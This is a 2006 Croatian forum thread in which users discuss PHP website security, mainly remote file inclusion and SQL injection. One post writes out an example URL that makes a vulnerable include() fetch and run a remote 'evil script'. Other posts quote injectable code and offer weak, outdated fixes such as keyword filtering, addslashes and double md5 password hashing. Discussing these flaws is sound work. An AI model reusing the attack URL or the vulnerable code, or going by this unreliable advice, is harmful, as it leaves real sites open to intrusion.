Idi nazad   Croportal Forum > Tehnologija i Tehnika > Računala
Registracija FAQ Lista korisnika Kalendar Pretraži Današnje Poruke Označi forume pročitanima Online igre


Računala Raspravljate o temi Hakeri u Tehnologija i Tehnika forumu; silence a ovo nekastranica.com/index.php?fajl=nesto jel tu ima kakvih gresaka u takvom nacinu?...

Zatvorena Tema
 
Opcije Teme
Star 19-01-06, 15:21   #11 (permalink)
V.I.P. Član
 
Avatar od korisnika Gogy
 
Datum registracije: 28-03-04
Lokacija: Virovitica
Godina: 20
Poruka: 6,500
Gogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono nešto
Pošalji poruku preko ICQ-a korisniku Gogy Pošalji poruku preko MSN-a korisniku Gogy Pošalji poruku preko Skype-a korisniku Gogy
silence a ovo nekastranica.com/index.php?fajl=nesto

jel tu ima kakvih gresaka u takvom nacinu?
__________________
Tutorijali.Net - tutorijali na hrvatskom jeziku
eBooks Network - arhiva IT e-knjiga za download

Car news & Reviews
Gogy je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 15:50   #12 (permalink)
Banned
 
Avatar od korisnika silence
 
Datum registracije: 21-10-05
Lokacija: Tierra del Fuego
Poruka: 8,659
silence
Pošalji poruku preko MSN-a korisniku silence
double post
silence je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 15:51   #13 (permalink)
Banned
 
Avatar od korisnika silence
 
Datum registracije: 21-10-05
Lokacija: Tierra del Fuego
Poruka: 8,659
silence
Pošalji poruku preko MSN-a korisniku silence
Citat:
Pravi autor: Gogy
silence a ovo nekastranica.com/index.php?fajl=nesto

jel tu ima kakvih gresaka u takvom nacinu?
pa ovisi... pretpostavaljam da se koristi PHP funkcija include(); kojoj je paramtar dan preko GET varijable u URL...
e sad...
ako piše recimo
Kod:
include ($_GET['fajl']);
i ja promjenim URL u
HTML Kod:
nekastranica.com/index.php?fajl=http://www.moja_stranica.com/moja_zla_skripta.php
onda je rupa, jer će includirati i izvršiti moju skriptu...

međutim... već sa malo promjene se to može izbjeći...
Kod:
include ($_GET['fajl']."php");
e sad skripta na GET varijablu iz URLa dodaje ekstenziju ".php" i kad ja probam includirat onako.. ne radi... naravno ja mogu pokušat maknut ekstenziju sa mog URLa i opet radi...
ali to je već malo posla s moje strane...

razradiš svoju skriptu još malo, recimo da prije includiranja provjerava sadržaj GET varijable i ako GET varijabla u sebi ima "http" ili "www" da se ne includira, onda si dodao još malo sigurnosti...

naravno ni to nije kraj, ali ovo je onako na brzinu... ja se ne bavim tolko s time jer mi to nije napeto, ali imam frenda koji radi čuda i koji mi je objasnio neke stvari, pa sam dodao neke stvari u svoje skripte koje pišem... sve ovisi kolko truda ti se da uložiti u pisanje koda...

recimo
HTML Kod:
www.mojsajt.com/index.php?i=1
PHP kod:
switch ($_GET) {
 case 
1:
 
$ubaci "direktorij/datoteka.php";
 break;
 case 
2:
$ubaci "direktorij/datoteka2.php";
break;
default:
        die (
"ne igraj se sa URL-om!");
}
include 
$ubaci
recimo kod ovoga ako se stavi nekaj u URL skripta bi se trebala prestat izvršavat kompletno

sve ovisi kako posložiš web, ali i o tome kako je server podešen... ako je server admin loš i ostavio je rupe, onda ih ti moraš zatvarati i paziti puno više kaj pišeš nego ako postoji kvalitetan admin koji je server podesio kako spada...

Zadnji Uredio silence : 19-01-06 u 15:55.
silence je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 17:00   #14 (permalink)
V.I.P. Član
 
Avatar od korisnika Gogy
 
Datum registracije: 28-03-04
Lokacija: Virovitica
Godina: 20
Poruka: 6,500
Gogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono nešto
Pošalji poruku preko ICQ-a korisniku Gogy Pošalji poruku preko MSN-a korisniku Gogy Pošalji poruku preko Skype-a korisniku Gogy
Koliko je ovo sigurno?

PHP kod:
$kategorija=$_GET['kategorija']; 
$tutorijal=$_GET['tutorijal']; 
if(
$kategorija==null) {
include 
"pocetna.php"; }
else{

include(
"konekcija.php");

$rezultat mysql_fetch_object(mysql_query("SELECT * FROM tablica where kateg='".$kategorija."' and tutor='".$tutorijal."'"));
echo 
bbcode($rezultat->kod) ; 
__________________
Tutorijali.Net - tutorijali na hrvatskom jeziku
eBooks Network - arhiva IT e-knjiga za download

Car news & Reviews
Gogy je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 18:45   #15 (permalink)
Banned
 
Avatar od korisnika silence
 
Datum registracije: 21-10-05
Lokacija: Tierra del Fuego
Poruka: 8,659
silence
Pošalji poruku preko MSN-a korisniku silence
http://en.wikibooks.org/wiki/Program...:SQL_Injection

dobro pročitaj to, pa mi ti sam reci.

za one ljene, u osnovi postoji mogućnost SQL injection napada jer izvršavaš SQL naredbu sa GET varijablom koju nigdje ne provjeravaš.
da ti odma bude lakše, ja sam isto tako radio prije, ali nakon kaj mi je frend objasnio kako radi SQL injection i ostalo, malo sam pronjuškao po netu i počeo koristiti mysql_real_escape_string().

evo još malo.
Citat:
SQL injection is a hacking technique which attempts to pass SQL commands through a web application for execution by a backend database. This is one of the most common application layer attacks currently being used on the Internet. The technologies vulnerable to this attack are dynamic script languages like ASP, ASP.NET, PHP, JSP, CGI, and so on.

To be able to perform SQL Injection hacking, all an attacker needs is a web browser and some guess work to find important table and field names. This is why SQL Injection attacks are so popular.
http://www.acunetix.com/websitesecur...-injection.htm



evo jedan isto prilično dobar članak, koji nudi i neka rješenja...
http://shiflett.org/articles/security-corner-apr2004

Zadnji Uredio silence : 19-01-06 u 18:54.
silence je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 19:30   #16 (permalink)
V.I.P. Član
 
Avatar od korisnika Gogy
 
Datum registracije: 28-03-04
Lokacija: Virovitica
Godina: 20
Poruka: 6,500
Gogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono nešto
Pošalji poruku preko ICQ-a korisniku Gogy Pošalji poruku preko MSN-a korisniku Gogy Pošalji poruku preko Skype-a korisniku Gogy
Negdje sam pročito da ovo sprječava SQL injection:

$pretraga=addslashes($_POST["pretraga"]);

jel to istina?
__________________
Tutorijali.Net - tutorijali na hrvatskom jeziku
eBooks Network - arhiva IT e-knjiga za download

Car news & Reviews
Gogy je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 20:00   #17 (permalink)
prof. Foruma
 
Avatar od korisnika Vodoinstalater
 
Datum registracije: 08-12-05
Poruka: 1,541
Vodoinstalater ima ono neštoVodoinstalater ima ono neštoVodoinstalater ima ono neštoVodoinstalater ima ono neštoVodoinstalater ima ono neštoVodoinstalater ima ono nešto
Dobio sam i previse nego sta sam trazio!
Vodoinstalater je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 20:31   #18 (permalink)
Banned
 
Avatar od korisnika silence
 
Datum registracije: 21-10-05
Lokacija: Tierra del Fuego
Poruka: 8,659
silence
Pošalji poruku preko MSN-a korisniku silence
Citat:
Pravi autor: Gogy
Negdje sam pročito da ovo sprječava SQL injection:

$pretraga=addslashes($_POST["pretraga"]);

jel to istina?
i da i ne.
http://www.webmasterstop.com/63.html

zajeb je u tome što konfiguracija servera nije uvijek ista. ako su magic quotes ON, onda dobiješ višestruke backslahove.
vjerojatno je da će sprječiti SQL injection, ali imaš noćnu moru kaj se tiče korištenja skripte na različitim serverima ili čak ako server admin napravi upgrade i recimo magic quotes iz off budu on.

dakle, nije da si u krivu, ali zbog vlastitog duševnog mira je bolje koristiti mysql_real_escape_string () funkciju koja je napravljena upravo za to. ako pročitaš članak koji sam linkao vidjet ćeš da addslashes() imaju problem kad vadiš podatke iz baze, jer te backslasheve treba maknuti...

sve u svemu... prije pisanja skripte, uvijek je pametno malo se potruditi oko ovakvih stvari i proći po netu i vidjeti kaj ljudi kažu i kakva su njihova iskustva.
silence je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 20:33   #19 (permalink)
V.I.P. Član
 
Avatar od korisnika Gogy
 
Datum registracije: 28-03-04
Lokacija: Virovitica
Godina: 20
Poruka: 6,500
Gogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono neštoGogy ima ono nešto
Pošalji poruku preko ICQ-a korisniku Gogy Pošalji poruku preko MSN-a korisniku Gogy Pošalji poruku preko Skype-a korisniku Gogy
A jebemu sad ću se zamislit prije nego što pustim stranicu u promet, a već sam sve sredio skoro...
__________________
Tutorijali.Net - tutorijali na hrvatskom jeziku
eBooks Network - arhiva IT e-knjiga za download

Car news & Reviews
Gogy je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Star 19-01-06, 20:58   #20 (permalink)
Banned
 
Avatar od korisnika silence
 
Datum registracije: 21-10-05
Lokacija: Tierra del Fuego
Poruka: 8,659
silence
Pošalji poruku preko MSN-a korisniku silence
ma gle... ako si koristio addslashes() i ako ti sve radi kako spada, možeš pustit stranicu, ali samo istestiraj kako se ponaša kad unosiš podatke i kada ih vadi van...

sve ovisi di si to koristio i za kaj.

ovo je recimo kak ja rješavam pitanje SQL injectiona prilikom ulogiranja korisnika u admin dio stranice.

PHP kod:
$a =  $_POST['user'] ;
         
$b =  $_POST['pass'] ;
         
$user md5 md5 ("123".$a."456" ));
         
$pass md5 md5 ("!#&".$b."%098" ));
         
$upit "SELECT * FROM `useri` WHERE user='$user' AND pass='$pass'";
         
$odgovori mysql_query $upit$db );
         
$podaci mysql_fetch_assoc $odgovori ); 
čak i da neko ubaci bilo kakvu SQL naredbu u neku od POST varijabli, može se jebat jer nakon dvostrukog md5() teroriziranja varijable nema šanse da tamo bude bilo šta štetno.
može se naravno stavit i samo jedan md5(), ali ovo je čisto iživljavanje
silence je offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Zatvorena Tema
Tagovi: hakeri



Broj korisnika koji trenutno prate ovu Temu: 1 (0 članova i 1 gosta)
 
Opcije Teme

Pravila poruka
Vi smijete ne otvarati nove teme
Vi smijete ne odgovarati na poruke
Vi smijete ne slati privitke
Vi smijete ne urediti vašu poruku

vB Kod je Uključen
Smajlići Kod je Uključen
[IMG] kod je Uključen
HTML kod je Isključen
Trackbacks are Isključen
Pingbacks are Isključen
Refbacks are Isključen

Slične Diskusije
Tema Pokretač teme Forum Odgovora Zadnja poruka
bosanski hakeri pharaoh Vicevi i Smiješni Tekstovi 7 30-12-07 13:45


Trenutno vrijeme na forumu: 20:42.


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113